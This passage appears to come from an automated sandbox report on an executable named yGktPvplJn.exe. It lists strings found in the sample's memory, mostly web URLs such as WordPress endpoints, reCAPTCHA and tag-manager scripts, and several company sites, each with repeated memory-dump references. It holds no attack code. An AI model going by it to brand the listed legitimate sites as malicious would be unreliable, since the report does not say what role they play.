00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.elpro.si%2F&format=xml
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-json/wp/v2/pages/2
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/xmlrpc.php?rsd
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2397267279.0000000003500000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2396072731.0000000003460000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.fcwcvt.org/
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/api.js?render=6LdeMu0ZAAAAAFtmpTrTqJfRdq-yIJmXMOBmYWGU&ver=3.0
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/api.js?render=6LegEPUjAAAAALVAB1ZsUifZnCPG7V7FSb3gZpWo&ver=3.0
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=G-RL1NBLHY24
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750531886.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtm.js?id=
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/ns.html?id=GTM-MLLZCHF
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.gzs.si/o_gzs
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.instagram.com/baijaku_nakamura/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.jacomfg.com/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2408938560.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.kernsafe.com/
